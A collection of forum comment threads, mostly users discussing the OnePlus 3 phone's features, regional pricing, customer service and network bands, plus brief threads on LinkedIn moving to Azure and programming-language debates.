<comment><USER17> I had exactly the same response (i.e. "I can't believe what gets upvoted around here sometimes"). Still I virtually never flag something, although this one is very tempting...</comment></comment></comment>


LinkedIn are moving their infrastructure to Azure - <AUTHOR> https://engineering.linkedin.com/blog/2019/building-next-infra <comment><USER2> This was kind of expected, in fact surprised that it took this long. Would love to see more details on this, the scale at they are operating and what kind of methodologies they are using for migration etc.

But guess "we are running on azure" is the only guaranteed response we can expect :|</comment>


OnePlus 3 - <AUTHOR> https://oneplus.net/3 <comment><USER2> Looks like they wanted to capture what people liked about the 1+1

>Non-removeable battery

My only complaint at all. I have an 1+1 and it satisfied everything I could have wanted at $360 price point

I probably will be upgrading to an 1+3, but not for a little while longer. Its seriously still a great phone.

<comment><USER3> Agree. My Oneplus One is the best phone I had since the iPhone 4s which I also liked a lot. Buildquality is great. Would love a new model with the soft material on the back again. Got my One last March and don't fancy a change this soon.

<comment><USER4> Really happy with my oneplus one which I have had for two years now. Excellent battery life and does everything I want. One of the most important things for me is that it can run CyanogenMod vs. the crap android that is found on phones from LG, Samsung, Lenovo and others. CM is close enough to stock android + a bunch of extra tweaks/toggles that it's perfect for my purposes. I haven't run Oneplus' OxygenOS on it, but based on the videos and screenshots I've seen it looks like since their falling out with CM, they've basically re-implemented many of Cyanogen's features in OxygenOS.

</comment></comment></comment><comment><USER5> Does it cost more to sell in Europe than the US ?

On the US site, the price displayed in 399USD. For countries that use the euro, it's selling for 399EUR. That's 447.16USD. If I was looking for a new phone and considered this one, I'd be annoyed at the price difference.

<comment><USER6> Taxes.

US prices are exclusive of sales tax where applicable, in the EU you have on average about 20% of VAT (which is always included in the MSRP) on consumer electronics, the EU also has on average higher import tariffs than the US.

The price i see in the UK is 309GBP which is 435USD which is actually less than 399$ + 20% VAT, so oddly enough the Yanks are the ones getting screwed in this process if you believe that VAT is justified. For the UK at least the price is about identical to someone from NYC buying the phone for 399$ + ~9% surtax which is about 435$.

<comment><USER7> And in the UK, for that, you get health care and other social services, unlike in NYC.

</comment></comment></comment><comment><USER8> I'm so pleased that they finally included NFC, an absolute requirement for me.

The only thing that I wish I would see is wireless charging, but I consider that a "nice to have" rather then a blocker.

This will definitely be on the shortlist the next time I'm looking for a phone.

</comment><comment><USER9> For the first time, an Android phone has near-perfect build design choices! Good button placement, a hardware notification slider, headphone jack on the bottom, an OLED display with enough of a bezel to minimize accidental edge touches, refined and understated shape/lines, and a finger-print reader on the front.

The only thing that stands out to me as a (slight) design flaw is the camera bump.

<comment><USER10> no MicroSD slot with support for adopted storage and no removable battery are the only glaring flaws i can see.

<comment><USER11> On the flip side, they aren't charging an arm and a leg for the 64gb, which is quite a bit of storage, though a microsd would be a nice addition. As to the removable battery, if it's serviceable enough, shouldn't be too bad. The backplate on the OPO wasn't bad at all, ordered the bamboo back separately and was easy enough to install.

<comment><USER10> the only other drawback is USB 2.0 speeds only not USB 3.0 or 3.1 with the c connector.

</comment></comment></comment></comment><comment><USER12> Amazing specs .... Aaaaand it's another 5.5" display, deal breaker. My iPhone6 plus is a fantastic phone, but handling the Nexus 5x when I got it made me remember the joy of a smaller form factor. Same specs with a 5"? Instant buy.

</comment><comment><USER13> Does OnePlus have a healthy ROM building community?

<comment><USER6> Not really, the OnePlus One came with a lot of promise but OnePlus has quickly severed ties with Cyanogen and the support for the OnePlus One somewhat died out when OnePlus switching to Oxygen (if you still have Cyanogen on the OnePlus One you can get OTA updates from Cyanogen).

After that I never bothered with the OnePlus 2, the lack of NFC support probably had more with me not buying it than the OS support but that also played into my decision.

<comment><USER4> I have had a oneplus one for 2 years, running cyanogen on it, and have gone through all the OTA updates to the latest 6.x based OS with no hiccups. My only complaint about cyanogenmod is their recent push to integrate microsoft onedrive services and other microsoft "cloud" stuff, which you can just ignore...

</comment></comment></comment><comment><USER14> Last time one of these shipped they had a lot of customer service issues, or at least that was the loudest complaint I read. I wonder if that has changed?

<comment><USER15> Well my OnePlus One's USB port stopped functioning back in February and it took two and half months of back and forth for them to send me a working phone.

Multiple customer agents pasting the same message back to me and ignoring what I'd written, sending me a "repaired" phone that had non-functional front and rear speakers, and also initially trying to invoice me £200 for what was an in warranty repair.

When I got that invoice and complained that I was in warranty, they sent me a link to their policy with no other comment.

Phone was good other than this. But I'm not going to buy another phone from them after all that hassle.

</comment></comment><comment><USER11> Looks like NFC is back... I had my OPO for about two years and while I really liked it, the coverage (via T-Mobile) really were less than stellar. I switched to a Nexus 6P and Verizon back in April, so will be a while before another switch, I'm not sure if the OP3 will work on Verizon or not, if it does, would be my new recommendation for upper-mid-range phone.

<comment><USER16> I had an OPO on t-mobile - the reason the coverage was bad was because of the bands it supported. When I switched to a phone that supported all of their bands, the coverage difference was night and day.

<comment><USER11> Ii tend to do one or two longer road trips for vacation a year driving... There are a lot of places that just aren't covered at all b T-Mobile, that's what I was mostly referring to.

</comment></comment></comment><comment><USER17> Looks like a solid phone, my only issue is the lack of GSM frequency bands for use here in Australia. Half of the frequencies we use for 4G LTE aren't listed so data would be congested and signal would be weaker.

Otherwise, I'd totally put this as an option for my dad's next phone alongside the 6P. Both look to be really great phones.

<comment><USER18> [https://oneplus.net/3/specs](https://oneplus.net/3/specs)

Europe / Asia model GSM: 850, 900, 1800, 1900 MHz WCDMA: Bands 1/2/5/8 FDD- LTE: Bands 1/3/5/7/8/20 TDD-LTE: Bands 38/40/41

</comment></comment><comment><USER19> Does anyone know if there is support for CTIA headphones on the OnePlus Two (and Three?).

I really loved my OPO, but not having Mic support on existing headphones I already owned was a dealbreaker for calls and audio support.

<comment><USER6> No it only supports OMTP, i think only Sony supports CITA. Sony also sells adapters with the proper resistance to enable all the features to work they are under 10$.

[https://www.amazon.com/Sony-EC250-Headphones- Adaptor-1249-04...](https://www.amazon.com/Sony-EC250-Headphones- Adaptor-1249-0456/dp/B009HW15UG?ie=UTF8&*Version*=1&*entries*=0)

</comment></comment><comment><USER20> Am I missing something or is there still no NFC support?

<comment><USER8> According to the specs this one has NFC!

That was the only thing stopping me from the previous generation. I'll definitely consider this the next time I'm looking for a phone now.

<comment><USER20> Thanks, I somehow missed it first pass.

</comment></comment></comment><comment><USER21> Pricing index:

USD 399 : 570

EUR 399 : 640

CAD 519 : 577

GBP 309 : 624

KKD 2990 : 645

HUF 124990 : 638

CNY 2799 : 608

INR 27999 : 595

HKD 3098 : 571

SEK 3695 : 636

PLN 1799 : 651

CZK 10990 : 651

<comment><USER22> How is this derived?

<comment><USER21> Price pulled from website, converted to common currency - in this case being NZD since I'm from New Zealand.</comment></comment></comment>


Why It's Pointless to Debate Which Language or Framework is the Best - <AUTHOR> http://lostintangent.com/2010/01/22/the-current-state-of-the-web-why-its-pointless-to-debate-which-language-framework-or-architecture-is-the-best/ <comment><USER2> Sadly, the HR department and/or Consult Hiring is familiar with the concept of "ASP Developer" not with the concept of "core fundamentals".</comment>